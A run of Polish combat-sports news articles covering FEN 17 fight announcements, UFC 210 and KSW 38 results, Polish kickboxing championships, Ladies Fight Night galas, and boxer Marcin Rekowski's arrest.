Aleksander Rychlik (28 lat, 188 cm, 5-2, 3 KO, 1 SUB), który przez wiele lat uprawiał taekwondo olimpijskie, w zawodowym MMA zadebiutował trzy lata temu, nokautując mocnego Dawida Wanata. Pierwszą walkę w klatkoringu Fight Exclusive Night stoczył przed rokiem na gali FEN 10 Gold Edition. Zawodnik WCA Fight Team Warszawa w debiucie w FEN nie zdołał wygrać, ale trzeba podkreślić, że organizacja zawiesiła mu wysoko poprzeczkę, zestawiając go z kroczącym od zwycięstwa do zwycięstwa Pawłem Hadasiem. W ostatnim swoim występie wychowanek znakomitego trenera Roberta Jocza efektownie pokonał Białorusina Andreia Zaksheuskiego, nokautując go w trzeciej minucie walki wieczoru listopadowej gali WCA 3 Fight Night.
Starcie Bartosz Leśko vs Aleksander Rychlik to druga ogłoszona już walka gali FEN 17 Baltic Storm – wcześniej federacja FEN poinformowała, że 12 maja w Gdynia Arena dojdzie do walki Martin Chudej vs Michał Wlazło. Oprócz nich tego wieczora w klatkoringu Fight Exclusive Night wystąpią m.in. Kamil Łebkowski, Radosław Paczuski, Jarosław Daschke, Michał Oleksiejczuk, Marcin Szreder i Ireneusz Szydłowski.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Jakub Kowalewicz, jeden z najwyżej notowanych lekkich polskiego MMA, ponownie zawalczy w klatkoringu Fight Exclusive Night! Już 12 maja na gali FEN 17 Baltic Storm w Gdynia Arena zmierzy się z innym czołowym fighterem organizacji FEN – Aleksandrem Georgasem. Walka zakontraktowana została w kategorii do 66 kg.
Dla Jakuba Kowalewicza (24 lata, 178 cm, 8-3, 3 KO, 2 SUB) będzie to druga walka w federacji FEN – w pierwszej latem 2014 roku na gali FEN 3 War is Coming ten młody, ale już doświadczony zawodnik duszeniem gilotynowym poddał Łukasza Kuliga. Od tego czasu reprezentant WCA Fight Team Warszawa stoczył 6 zawodowych walk, w których m.in. na punkty pokonał Kamila Gniadka i błyskawicznie udusił Łukasza Rajewskiego. Były wielokrotny mistrz Polski juniorów w judo i zwycięzca Amatorskich Pucharów KSW w ubiegłym roku dwukrotnie wygrywał na zawodach WCA Fight Night, już w pierwszych rundach nokautując Daniela Chrzanowskiego i Leonida Smirnova.
Aleksander Georgas (26 lat, 175 cm, 8-4, 5 SUB) na FEN 17 Baltic Storm również po raz drugi wystąpi w klatkoringu Fight Exclusive Night – w debiucie na ubiegłorocznej gali FEN 13 Summer Edition przed własną publicznością kimurą w drugiej rundzie pokonał Roberta Rajewskiego juniora. Podobnie jak Kowalewicz, zawodnik Mighty Bulls Gdynia zaliczany jest do najbardziej perspektywicznych, a jednocześnie najbardziej dojrzałych młodych zawodników polskiego MMA. Podopieczny cenionego trenera Grzegorza „Jakubka” Jakubowskiego karierę zawodową rozpoczął w 2011 roku, od efektownej serii pięciu zwycięstw z rzędu. Obecnie gdynianin ma na swoim koncie 8 zwycięstw i 4 porażki.
W innych ogłoszonych już zestawieniach gali FEN 17 Baltic Storm zmierzą się Michał Wlazło z Czechem Martinem Chudejem oraz Bartosz Leśko z Aleksandrem Rychlikiem. 12 maja w Gdynia Arena wystąpią także m.in. Kamil Łebkowski, Radosław Paczuski, Jarosław Daschke, Michał Oleksiejczuk, Marcin Szreder i Ireneusz Szydłowski.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Zapraszamy do oglądania Mistrzostw Europy Judo, które odbędą się w dniach 20-23 kwietnia 2017 r. na warszawskim Torwarze.
[kod]
Transmisja główna
Tatami 1
Tatami 2
Tatami 3
Tatami 4
Zapraszamy do oglądania Mistrzostw Europy Judo, które odbędą się w dniach 20-23 kwietnia 2017 r. na warszawskim Torwarze.
[kod]
Transmisja główna
Tatami 1
Tatami 2
Tatami 3
Tatami 4
Zapraszamy do oglądania Mistrzostw Europy Judo, które odbędą się w dniach 20-23 kwietnia 2017 r. na warszawskim Torwarze.
[kod]
Transmisja główna
Tatami 1
Tatami 2
Tatami 3
Tatami 4
Zapraszamy do oglądania Mistrzostw Europy Judo, które odbędą się w dniach 20-23 kwietnia 2017 r. na warszawskim Torwarze.
[kod]
Transmisja główna
Tatami 1
Tatami 2
Tatami 3
Tatami 4
Mistrzostwo Europy w wadze ciężkiej nie dla Mariusza Wacha. Pięściarz wagi ciężkiej zrezygnował ze starcia o tytuł. W polskim boksie szykuje się ważne wydarzenie. 3 czerwca do rywalizacji o pas w wadze półciężkiej stanie Andrzej Fonfara.
37-letni „Viking” ma już na swoim koncie dwa pojedynki o mistrzostwo świata w wadze ciężkiej, jednak kończył je jako przegrany. Wokół walk z Władimirem Kliczko i Aleksandrem Powietkinem nie brakowało kontrowersji. Wach nadal buduje swoją pozycję w wadze ciężkiej. Miał szansę stanąć do walki o tytuł mistrza Europy.
Inne wyzwania
4 lutego Mariusz Wach miał rywalizować z Agitem Kabayelem o tytuł mistrza Europy w kategorii ciężkiej. Polak wycofał się i 18 marca spotkał się z Erkanem Teperem. Wach zanotował 33 wygraną w karierze. Z kolei Kabayel pokonał Herve'a Hubeauxa i zdobył tytuł mistrza Europy. 24-letni Niemiec ponownie spoglądał w stronę polskiego boksera, jednak ten powiedział „nie”. Wach miał status oficjalnego pretendenta do tytuł mistrza Europy. Europejska Unia Boksu poinformowała, że „Viking” zrezygnował ze swojej pozycji.
Obecnie Wach przebywa w mistrzowskim towarzystwie. Polak sparuje z czepionem IBF Anthonym Joshuą, który przygotowuje się do pojedynku z Władimirem Kliczko. Walka odbędzie się 29 kwietnia na stadionie Wembley, a jej stawką będą trzy pasy.
Z pewnością Wach myśli o kolejnym starciu mistrzowskim, ale przed nim długa droga. Spekuluje się, że kolejnym rywalem Polaka może być Dillian Whyte. Pojedynek miałby się odbyć 3 czerwca w Londynie. 29-letni Whyte pokonał ostatnio Derecka Chisorę i może pochwalić się czterema wygranymi walkami z rzędu.
Czas na rewanż
Marzenia się spełniają. Czy krok w stronę ich realizacji uczyni Andrzej Fonfara? „Polski Książę” robił wszystko, co w jego mocy, żeby doprowadzić do rewanżowego starcia z Adonisem Stevensonem. W końcu udało się. 3 czerwca w Quebecu Fonfara spotka się z mistrzem WBC.
Po niespodziewanej porażce z Jose Smithem Jr., 29-letni Polak w efektowny sposób uporał się z Chadem Dawsonem. Fonfara w 10. rundzie pokonał przez techniczny nokaut byłego mistrza świata wagi półciężkiej. Teraz będzie chciał pokonać czempiona, z którym rywalizował w maju 2014 roku. Wtedy Polak już w pierwszej rundzie leżał na deskach, ale nie poddał się i walczył. Nie ustępował mistrzowi. W dziewiątej rundzie Fonfara posłał rywala na deski, ale Stevenson walczył dalej. Po dwunastu rundach sędziowie wskazali na Kanadyjczyka.
Teraz Polak jest bardziej doświadczony, a Stevenson… starszy. Czy w tym należy upatrywać nadziei? 39-letni Kanadyjczyk potrafi wstrząsnąć rywalami. Dwie ostatnie, a w sumie 23 walki wygrał przed czasem.
KM
Emilia Czerwińska (60kg), Karolina Dziedzic (70kg), Robert Krasoń (75kg) i Mateusz Kubiszyn (86kg) obronili tytuły mistrzów Polski w kickboxingu w formule full contact. W Piotrkowie Trybunalskim zaprezentowało się 178 zawodników.
Rywalizacja o tytuł najlepszych w Polsce ponownie zawitała do Piotrkowa. O medale walczyli seniorzy i juniorzy.
Zawodnicy na „piątkę”
Na powtórzenie ubiegłorocznego wyniku liczył Robert Krasoń. Zawodnik Piotrowskiej Szkoły Sztuk Walki Tom Center przystępował do mistrzostw z nadzieją na zdobycie piątego złotego medalu. Krasoń krok po kroku zmierzał w stronę finału. Najpierw pokonał Rafała Sztarka, a następnie Miłosza Pacaka. W finale Krasoń spotkał się z brązowym medalistą z 2016 roku Łukaszem Trelą. Wykorzystał atut własnego terenu i sięgnął po raz piąty po tytuł mistrzowski.
Na „piątkę” spisała się Karolina Dziedzic. O tym, że historia lubi się powtarzać nie trzeba nikogo przekonywać. Dzieci ponownie rywalizowała z Weroniką Rogala. Zawodniczka Stowarzyszenia Sportu i Rekreacji Wola nie znalazła sposobu na reprezentantkę Diamentu Pstrągowa.
Robert Niedźwiecki (57kg) liczył na trzecie złoto. Wcześniej zdobywał tytuły mistrzowskie w Luboniu i Piotrkowie. Tym razem zawodnik Ziętek Team Kalisz musiał obejść się smakiem, na pocieszenie pozostał mu srebrny medal. Ze złota cieszył się Łukasz Wydro.
Dwie wygrane walki dały tytuł mistrzowski Mateuszowi Kubiszynowi (86kg). Tak jak i rok temu na trzecim miejscu znalazł się Przemysła Ziemnicki. Tytuł obroniła Emilia Czerwińska (60kg), która w finale debiutującą w full contact Joannę Różańską.
Ze złota cieszy się Karolina Mośko (48kg), która rok temu okazała się gorsza od Ewy Bulandy. Tym razem zawodniczka KKS Sporty Walki Poznań pokonała Arletę Oleksy, która rok temu wywalczyła trzecie miejsce.
WYNIKI:
48kg: 1. Karolina Mośko, 2. Arleta Oleksy
52kg: 1. Olga Michalska, 2. Maria Romańska, 3. Żaneta Cieśla, Marta Pyra
56kg: 1. Paulina Saczuk, 2. Paulina Szewczuk
60kg: 1. Emilia Czerwińska, 2. Joanna Różańska, 3. Agata Piechowicz
65kg: 1. Pola Rogala, 2. Agnieszka Osial, 3. Monika Puzio
70kg: 1. Karolina Dziedzic Dziedzic, 2. Weronika Rogala, 3. Karolina Juja
54kg: 1. Paweł Dąbrowski
57kg: 1. Łukasz Wydro, Robert Niedźwiedzki
60kg: 1. Michał Pomieciński, 2. Maciej Mucha, 3. Jakub Konieczny
63.5kg: 1. Przemysław Kacieja, 2. Mikołaj Staszkiewicz, 3. Bartłomiej Derleta, Bartłomiej Salak
67kg: 1. Mariusz Ziętek, 2. Rafał Nguyen-von, 3. Kamil Dychała, Tomasz Micigolski
71kg: 1. Jakub Pokusa, 2. Tomasz Przybylski, 3. Kamil Dajwłowski, Mateusz Parat
75kg: 1. Robert Krasoń, 2. Łukasz Trela, 3. Daniel Dajcz, Miłosz Pacak
81kg: 1. Filip Karbownik, 2. Piotr Kołakowski, 3. Patryk Szyszko, Damian Chiliński
86kg: 1. Mateusz Kubiszyn, 2. Krystian Chramęga, 3. Paweł Kochański, Przemysław Ziemnicki
91kg: 1. Paweł Strykowski, 2. Rafał Gąszczak, 3. Marcin Szuleta, Szymon Wąs
+91kg: 1. Jakub Kozera, 2. Piotr Paszczak, 3. Kamil Mąkosa
Fot. Facebook
KM
W sobotę, w Poznaniu odbyła się kolejna gala organizacji Ladies Fight Night. W walce wieczoru triumfowała Katarzyna Lubońska, choć jej przeciwniczka z Brazylii stawiała twarde warunki. Mnóstwo emocji dostarczyła kibicom zgromadzonym w Sali Ziemi MTP widowiskowa walka Sylwii Juśkiewicz z LFN Team, która pewnie pokonała swoją przeciwniczkę z Ukrainy. Szczęścia nie miały zawodniczki z Poznania. Marta Gusztab i Natalia Leciejewska zaprezentowały wysoki poziom sportowy, ale przegrały swoje pojedynki niejednogłośną decyzją sędziów.
W 11 pojedynkach w formule MMA i K-1 Polki triumfowały aż 9 razy! Zwycięstwa dopisały też do swoich rekordów dwie zawodniczki z zagranicy. Brazylijka Talita De Oliveira pokonała Iren Racz przez duszenie w pierwszej rundzie, a Słowaczka Lucia Krajcovic okazała się silniejsza w pojedynku z Judytą Rymarzak.
W walce wieczoru Katarzyna Lubońska pokonała Brazylijkę Nubie Nascimento. Werdykt wydali sędziowie i nie była to jednogłośna decyzja. Silna fizycznie rywalka nie dała Lubońskiej szansy na walkę w parterze. Pojedynek odbywał się w stójce i nie brakowało w nim mocnej wymiany ciosów.
Największy entuzjazm kibiców zgromadzonych na trybunach wywołała walka Sylwi Juśkiewicz z LFN Team z Ukrainką Liudmilą Pylypchak. Zacięty pojedynek dwóch mocnych zawodniczek trwał trzy rundy i nie zwalniał tempa. Juśkiewicz dominowała od początku i zwyciężyła jednogłośną decyzją sędziów.
„Walka Sylwii w formule MMA była niewątpliwie jednym z najciekawszych pojedynków podczas całej gali. Kibice wstawali z miejsc i głośno dopingowali zawodniczkę. Jestem bardzo dumny i cieszę się, że „Mała” i inne zawodniczki LFN Team robią duże postępy i rozwijają się wraz z całą organizacją. Gala LFN w Poznaniu jest kolejnym dowodem na to, że fani sportów walki chcą oglądać kobiety w klatkoringu, a nasze starania o ciągłe podnoszenie poziomu organizacyjnego i sportowego imprezy przynoszą efekty.” – mówi Łukasz Chmal, prezes Ladies Fight Night.
Gala LFN „Five Points” w Poznaniu była piątą galą żeńskiej organizacji. Całe widowisko można odtworzyć dzięki transmisji gali na Facebooku organizacji.
WYNIKI
MMA 57 kg: Katarzyna Lubońska pok. Nubie Nascimento przez niejednogłośną decyzję
K-1 50 kg: Hanna Gujwan pok. Natalię Leciejewską przez niejednogłośną decyzję
K-1 56 kg: Małgorzata Dymus pok. Meryem Uslu przez niejednogłośną decyzję
MMA 52 kg: Sylwia Juśkiewicz pok. Liudmila Pylypchak przez jednogłośną decyzję
K-1 +78 kg: Paulina Bieć pok. Mary Anne Kieper przez TKO (runda 2)
MMA 61 kg: Katarzyna Sadura pok. Suvi Salmimies przez jednogłośną decyzję
K1 63,5 kg: Kamila Bałanda pok. Martę Gusztab przez niejednogłośną decyzję
MMA 61 kg: Talita De Oliveira pok Irena Racz przez poddanie (runda 1)
K-1 56 kg: Lucia Krajcovic pok. Judyta Rymarzak przez jednogłośną decyzję
MMA 57 kg: Katarzyna Biegajło pok. Anželika Petkevičiūtė przez TKO (runda 1)
K-1 67 kg: Angelika Szczepańska pok. Agnieszkę Szmitowska przez TKO (runda 1)
Fantastyczny początek walki w wykonaniu Jana Błachowicza na gali UFC 210 w Buffalo. Polak powalił Patricka Cumminsa, jednak nie wykorzystał szansy i przegrał decyzją sędziów.
Wejście Błachowicza w pojedynek wręcz perfekcyjnie. Brakowało tylko kropki nad „i”. Chciałoby się powiedzieć – nieważne jak się zaczyna, ważne jak się kończy. Błachowicz zanotował drugą porażkę z rzędu w UFC.
Zacięta walka
Zaczęło się wręcz idealnie dla Jana Błachowicza. Po upływie trzydziestu sekund Cummins padł na ziemię. „John” potraktował rywala mocnym podbródkowym, a później posłał w jego stronę serię ciosów. Amerykanin znalazł się w opałach, ale przetrwał natarcie Polaka. Cummins zaczął atakować, ale lepiej wyglądał Błachowicz, który zadawał kolejne ciosy. W końcu 36-latek obalił cieszynianina i spędził ponad minutę na górze.
W drugiej odsłonie Cummins starał się zdominować Błachowicza. Na początku wcisnął go w siatkę, ale nie udało mu się zbyt wiele zrobić. Następnie Amerykanin sprowadził walkę do parteru, gdzie zadał rywalowi kilka mocnych ciosów. Po obu zawodnikach było widać, że szybkie tempo dało im się we znaki. Na ich twarzach pojawiło się zmęczenie. Początek trzeciej rundy to prosty i niskie kopnięcie w wykonaniu Błachowicza. Cummins nie pozostawał dłużny, wyprowadził kilka mocnych uderzeń, a następnie sprowadził pojedynek do parteru. Błachowiczowi udało się uwolnić dwie minuty przed końcem. „John” próbował atakował, jednak Cummins w klinczu wyprowadził kilka mocnych kolan.
Decyzja leżała w gestii sędziów. Oceniający uznali, że lepszy był Cummins, ale była to decyzja większościowa. Jeden z sędziów widział remis – 28:28. Dla Polaka to czwarta porażka w UFC. Błachowicz trafił do szpitala, gdzie zdiagnozowano u niego złamanie kciuka lewej dłoni.
Efektowne zwycięstwo Cormiera
Daniel Cormier nadal mistrzem wagi półciężkiej. 38-latek mógł być zdziwiony tym, że Anthony Johnson przeniósł walkę do parteru. Cormier wykorzystał sytuację i wypracował korzystną pozycję. W stójce „Rumble” nie żałował mistrzowi ciosów, czym poważnie uszkodził rywala. Cormier miał złamany nos. W drugiej odsłonie zaznaczała się przewaga mistrza, Johnson próbował… obalić przeciwnika i sam wpędził się w tarapaty. Mistrz znalazł się za plecami i zapiął skuteczne duszenie. Cormier mógł cieszyć się ze zwycięstwa przed czasem.
Gegard Mousasi zapisał na swoim koncie 42 zwycięstwo w karierze. W Buffalo w drugiej rundzie rozbił kolanami Chrisa Weidmana. Zaledwie 21 sekund trwała walka Gregora Gillespie z Andrew Holbrookiem. „The Gift” znokautował rywala i odniósł dziewiąte zwycięstwo w karierze. W Buffalo porażkę zanotował były mistrz wagi lekkiej Bellatora Will Brooks. Charles Oliveira zmusił 30-latka do poddania już w pierwszej rundzie.
Daniel Cormier pokonał Anthony Johnson przez poddanie w drugiej rundzie
185 lbs: Gegard Mousasi pokonał Chrisa Weidmana przez TKO w drugiej rundzie
115 lbs: Cynthia Calvillo pokonała Pearl Gonzalez przez poddanie w trzeciej rundzie
170 lbs: Thiago Alves pokonał Patricka Cote przez decyzję
155 lbs: Charles Oliveira pokonał Willa Brooksa przez poddanie w pierwszej rudzie
145 lbs: Myles Jury pokonał Mike'a De La Torre przez TKO w pierwszej rundzie
170 lbs: Kamaru Usman pokonał Seana Stricklanda przez decyzję
145 lbs: Shane Burgos pokonała Charlesa Rosa przez TKO w pierwszej rundzie
205 lbs: Patrick Cummins pokonał Jana Błachowicza przez większościową decyzję sędziowską
155 lbs: Gregor Gillespie pokonał Andrew Holbrooka przez nokaut w pierwszej rundzie
155 lbs: Desmond Green pokonał Josha Emmetta przez decyzję
135 lbs: Katlyn Chookagian pokonała Irene Aldana przez decyzję
125 lbs: Magomed Bibulatov pokonał Jenel Lausa przez jednogłośną decyzję sędziowską
KM
Efektowny finał gali KSW 38: Live in Studio. Łukasz Chlewicki musiał odklepać wobec perfekcyjnego duszenia Artura Sowińskiego. Przed czasem wygrywali również Grzegorz Szulakowski i Maciej Kazieczko.
Gala KSW 38: Live in Studio była przeznaczona dla widzów przed telewizorami. Z bliska walki mogło śledzić 300 osób. Za 1,5 miesiąca będzie zupełnie inaczej. 27 maja KSW zawita na stadion PGE Narodowy. Ponad 60 tys. widzów będzie śledziło zmagania m.in. Mameda Khalidova, Borysa Mańkowskiego, Marcina Wrzoska, Damiana Janikowskiego, Marcina Różalskiego czy Mariusza Pudzianowskiego.
Były mistrz zanotował efektowną wygraną
Na KSW 37 w Krakowie obaj przegrali przed czasem, jednak o przerwaniu ich walk zdecydował lekarz. W Sękocinie jeden z nich miał wrócić na zwycięski tor. Artur Sowiński szybko ruszył na Łukasza Chlewickiego i sprowadził walkę do partertu. Były mistrz wagi piórkowej niemiłosiernie obijał rywala, jednak ten uciekł i znalazł się z góry. Sowiński wykazał się kunsztem i zapiął trójkąt nogami. Chlewicki musiał odklepać. Efektowne zwycięstwo „Kornika” w pierwszej rundzie.
Antoni Chmielewski i Łukasz Bieńkowski zaczęli ostrożnie. Można stwierdzić, że postanowili zabawić się „w chodzonego”. Pierwsza runda odbyła się – tyle w zasadzie można o niej powiedzieć. W drugiej odsłonie Chmielewski próbował obalić rywala, ale ten obronił się. Na twarzy 35-latka pojawiła się krew. Obaj zawodnicy polegali na walce bokserskiej, obserwowali się i czekali na dogodny moment do ataku. Kilka razy próbował Chmielewski, jednak bez efektu. W trzeciej rundzie do głosu doszedł Bieńkowski. Pojedynek w stójce, pojedyncze akcje, ciosów niewiele, żaden z zawodników nie wybił się na pierwszy plan. Na nieco ponad minutę przed końcem próba obalenia ze strony Chmielewskiego, jednak nieskuteczna. Walka nie porwała, a z drugiego zwycięstwa w KSW cieszył się Bieńkowski.
W starciu w kategorii piórkowej od początku Roman Szymański nadawał ton walce z Denilsonem Nevesem de Oliveirą. Polak próbował duszenia zza pleców, jednak Brazylijczyk wytrzymał i nie odklepał. W pierwszej rundzie karty rozdawał Szymański, który cztery miesiące temu w debiucie w KSW pokonał Sebastiana Romanowskiego. Kolejne minuty również pod dyktando 23-latka z Poznania. Udane sprowadzenia, kolejne ciosy spadały na głowę Brazylijczyka, który starał się uciekać i wstawać, jednak bezskutecznie. Denilson imponował wytrzymałością. Przetrwał drugą rundę, w której przewaga Szymańskiego nie podległa dyskusji. Trzecia runda spokojna, aż… Brazylijczyk potężnym kolanem trafił Polaka, który padł. Zawodnik z Kraju Kawy chciał wykorzystać sytuację, ale wyprowadził kopnięcie w krocze rywala. Szymański potrzebował kilku chwil, żeby dojść do siebie. Polak starał się dotrwać do końca, Brazylijczyk próbował atakować, ale bez efektu. Wygrana Szymańskiego na punkty.
Efektowny Kazieczko, powrót Azhieva
Gala KSW 38: Live in Studio w Sękocinie Nowym zaczęła się z wysokiego c. Maciej Kazieczko potrzebował siedemdziesięciu sekund, żeby pokonać Tomasz Matusewicza. 23-latek z Poznania trafił prawym kopnięciem, uniknął sierpa rywala i posłał kolejny cios. Matusewicz padł na deski, a Kazieczko takiej sytuacji nie mógł zmarnować. Trzecie zwycięstwo w karierze zawodnika Ankosu Poznań.
Zwycięski powrót zaliczył Anzor Azhiev, który ostatni raz walczył w listopadzie 2015 roku. Warto dodać, że starcie 26-latka z Kamilem Selwą było pierwszym w kategorii koguciej. Zawodnik debiutujący w KSW pokazał się z dobrej strony i napsuł sporo krwi Czeczenowi. Selwa był aktywny, w parterze nie pozwolił rywalowi na zbyt wiele, ale to Azhiev cieszył się ze zwycięstwa.
Wyrównany przebieg miała walka Łukasza Rajewskiego z Sebastianem Romanowskim. „Raju” budował swoją przewagę kopnięciami i wykorzystywał przewagę zasięgu. W trzeciej rundzie Romanowski obalił rywala, jednak to było za mało. Jednogłośnie na punkty triumfował Rajewski. Trzecia walka Grzegorza Szulakowskiego na KSW i trzecia wygrana. Tym razem 30-letni zawodnik pokonał doświadczonego Renato Gomesa Gabriela. W trzeciej rundzie Polak obalił rywala i rozbijał jego twarz w krucyfiksie. Szulakowski mógł cieszyć się ze zwycięstwa przed czasem.
Dobrą passę podtrzymał Kamil Szymuszowski, choć nie miał łatwej przeprawy z Gracjanem Szadzińskim. 28-latek ze szczecińskiego Berserketa zastąpił dwa dni przed galą Marifa Piraeva. W pierwszej rundzie Szadziński się rozkręcał i trafiał Szymuszowskiego na tułów. 27-latek przyjmował kolejne ciosy, a rywal czuł się coraz pewniej. W drugiej rundzie Szymuszowski postanowił sprowadzić walkę do parteru. Obijał rywala łokciami i zyskał przewagę, a w ostatniej odsłonie dobił Szadzińskiego lewym prostym. Szymuszowski wygrał większościową decyzją sędziów.
KM
Wokół Marcina Rekowskiego zrobiło się niezwykle gorąco, jednak nie za sprawą sukcesów sportowych, lecz w związku z zatrzymaniem przez policję. Bokser zabrał głos w sprawie.
Świat sportów walki, w tym boksu jest niezwykle trudny. Oprócz wrażeń czysto sportowych nie brakuje różnego rodzaju skandali czy afer dopingowych.
Czerpał korzyści majątkowe z prostytucji?
Od kilku miesięcy policja prowadziła śledztwo w sprawie sutenerstwa, w którym zatrzymano już dwóch Bułgarów i Polkę. We wtorek (4 kwietnia) w ręce funkcjonariuszy trafili dwaj kolejni mężczyźni. Jednym z nich jest polski bokser. Z dotychczasowych ustaleń wynika, że mężczyźni mieli ułatwiać kobietom świadczenie usług przy drogach na terenie Polski. Mieli z tego czerpać korzyści majątkowe.
Nie trzeba było długo czekać, żeby ustalić, iż podejrzanym w sprawie jest Marcin Rekowski. Sam bokser również zabrał głos w sprawie. Na swoim facebooku zamieścił oświadczenie, w którym podziękował za wsparcie i wyraził nadzieję na szybkie wyjaśnienie sprawy. – Ostanie dni były dość chaotyczne. Trochę stresu, niewiadomych. Co będę Wam tu pisał, czytaliście wiele różnych artykułów, swoją drogą na zdjęciach gdzie widać całą moją twarz wyglądam chyba trochę lepiej, bo ten pasek na oczach to trochę słabo wygląda. A tak na serio. Jestem w domu, wśród bliskich. Dziękuję Wam za wiele ciepłych słów i wiarę, sam do końca nie wierzę w to, co się dzieje. Bardzo Was przepraszam za to zamieszanie i stres, ale mi też nie jest miło. Mam nadzieję,że wszystko się wyjaśni i wróci do normy. Przede wszystkim chcę gorąco pozdrowić mojego syna Oliwera,który jest całym moim życiem, moją rodzinę i przyjaciół, którzy są przy mnie – napisał pięściarz.
Zaznaczył również, że po całym zamieszaniu nadszedł czas na powrót do codzienności. – Wracamy do normalności, do życia, diety i treningów – podkreślił Rekowski.
Ostatnio pod górkę
Marcin Rekowski stosunkowo późno zadebiutował na zawodowym ringu. Pierwszą walkę stoczył w maju 2012 roku w Poznaniu, a miał wtedy na karku 34 lata. W debiucie pokonał już w drugiej rundzie Manuela Reussa.
Pięściarz rywalizujący w wadze ciężkiej wygrał 12 pojedynków i dostał szansę rywalizacji z byłym mistrzem federacji WBC Oliverem McCallem. Mimo różnicy 13 lat lepszy okazał się Amerykanin, choć wygrał niejednogłośnie na punkty. Walce towarzyszyło zamieszanie, bo początkowo ogłoszono, że zwycięzcą starcia jest… Polak. Ostatnie miesiące to trudny czas dla 39-latka, który przegrał trzy ostatnie walki. W ubiegłym roku poległ w pojedynkach z Andrzejem Wawrzykiem i Krzysztofem Zimnochem, zaś w styczniu br. dostał szansę na wywalczenie tytuły IBF Inter-Continental. Przegrał jednak w czwartej rundzie z Carlosem Takamem.
Fot. Facebook
KM
Już 8 kwietnia, w sobotę, odbędzie się piąta gala żeńskiej organizacji sportów walki Ladies FIght Night. Galę „Five Points” w Sali Ziemi MTP obejrzy 1500 gości. Transmisję live z wydarzenia będzie można śledzić na stronie internetowej i Facebooku organizacji. Nie zabraknie gości specjalnych i szybkich samochodów, w końcu wydarzeniu będą towarzyszyły największe targi motoryzacyjne w Polsce. Ceremonia ważenia odbędzie się w piątek o godz.17:00.
Gala Ladies Fight Night „Five Points” będzie debiutem organizacji w Wielkopolsce. Ladies Fight Night to pierwsza i jedyna w Europie żeńska organizacja sportów walki, która na polskim rynku zadebiutowała w grudniu 2015 roku galą w Łodzi. W zeszłym roku LFN gościło w Łodzi, Warszawie i Karpaczu. Rok 2017 otwiera galą w Poznaniu podczas targów Motor Show.
Już w sobotę w klatkoringu LFN zobaczymy 11 pojedynków w formule K-1 i MMA tylko i wyłącznie kobiet. Podczas poznańskiej gali obok najbardziej utalentowanych zawodniczek z Polski zobaczymy też fighterki z Czech, Węgier, Finlandii, Niemiec, Brazylii i Litwy. Z karty walk wypadła niestety Francuzka. Valerie Domergue, która miała zmierzyć się z Katarzyną Biegajło, w ostatnim tygodniu przygotowań doznała kontuzji łokcia i musiała wycofać się z walki. Nową przeciwniczką Biegajło będzie pochodząca z Litwy Anželika Petkevičiūtė, która zadebiutuje w zawodowym pojedynku MMA. Warto jednak dodać, że w amatorskim rekordzie zawodniczki nie ma ani jednej porażki!
Wielkopolskę reprezentować będą dwie zawodniczki klubu Kohorta Poznań a w walce wieczoru pilanka Katarzyna Lubońska skrzyżuje rękawice z Brazylijką Nubią Nascimento. Przypomnijmy, że w listopadzie 2015 roku podczas KSW 33 Lubońska przegrała pojedynek z inną Brazylijką Ariane Lipski. Jak sama mówi, walka z rodaczką Ariane będzie dla niej okazją do odegrania się. Walka wieczoru podczas piątej gali LFN na pewno dostarczy fanom MMA sporą dawkę sportowych emocji!
Zanim zawodniczki zobaczymy w klatkoringu, na żywo będzie można je spotkać w piątek podczas oficjalnej ceremonii ważenia, która odbędzie się na targach Motor Show o godz. 17 w hali nr 5 na stoisku Ladies Fight Night. Relację z ważenia oraz sobotnią galę będzie można śledzić live na Facebooku i stronie internetowej organizacji www.lfn.com.pl
Wśród gości specjalnych gali Five Points pojawią się m.in. Piotr Stramowski, Bracia Collins, Drużyna Mistrzów i Jacek Chrzanowski, główny projektant supersamochodu o nazwie Syrma Hypersport Concept. Nie zabraknie też znanych i lubianych zawodników. Oprócz dziewczyn z LFN Team, które będą dopingować walczące na gali koleżanki, podczas przerwy będzie można również zrobić sobie zdjęcie z Marcinem Wrzoskiem, Bartłomiejem Kurczewskim czy Piotrem Strusem i Arturem „Kornikiem” Sowińskim, którzy będą komentować galę. W roli prowadzących niezastąpieni Łukasz „Juras” Jurkowski i Krzysztof „Jankes” Jankowski.
Więcej na www.lfn.com.pl
Zapraszamy do obejrzenia wywiadu z Prezesem Ladies Fight Night. Wywiad nagrano 5 kwietnia 207 r. w Łodzi.
[kod]
Mówi się, że kobiety są łagodne, ale potrafią pokazać „pazurki”. Najlepszym dowodem są gale organizacji Ladies Fight Night, która szykuje się do kolejnego wydarzenia. Już 8 kwietnia w Poznaniu odbędzie się 11 emocjonujących walk. W starciu wieczoru Katarzyna Lubońska spotka się z Nubią Nascimento.
MMA i K-1 w najlepszym wydaniu. LFN stawia na młode i głodne sukcesów zawodniczki, ale skupia również doświadczone, utytułowane oraz klasowe fighterki.
Kolejne gwiazdy
Tym, którzy interesują się MMA nie trzeba przedstawiać Katarzyny Lubońskiej. 24-latka ma za sobą występy na galach KSW. Organizacja Ladies Fight Night może pochwalić się kolejnym mocnym nazwiskiem. W pojedynku na zasadach K-1 zaprezentuje się Kamila Bałanda, która ma na swoim koncie wiele tytułów mistrzyni Polski i kilkanaście zawodowych walk. – Cały czas walczymy o jak najlepsze zawodniczki. Dołączyły do nas tak utalentowane zawodniczki jak Katarzyna Lubońska czy Kamila Bałanda, co niezwykle nas cieszy. Liczymy na bardzo dobre walki – mówi FighTime.pl Łukasz Chmal, prezes Ladies Fight Night.
8 kwietnia organizacja zawita do Poznania. Gala Ladies Fight Night „Five Points” to 11 wyjątkowych pojedynków, w których nie zabraknie efektownych ciosów. Ciekawie zapowiada się starcie w K-1 pomiędzy Judytą Rymarzak a doświadczoną Lucią Krajcović. Zawodowe debiuty zaliczą Agnieszka Szmitowska i Angelika Szczerańska. W Poznaniu dojdzie do najcięższego pojedynku kobiet w K-1 w Europie. W klatkoringu w kategorii +78kg zmierzą się Paulina Bieć i Niemka Mary Anne Kieper.
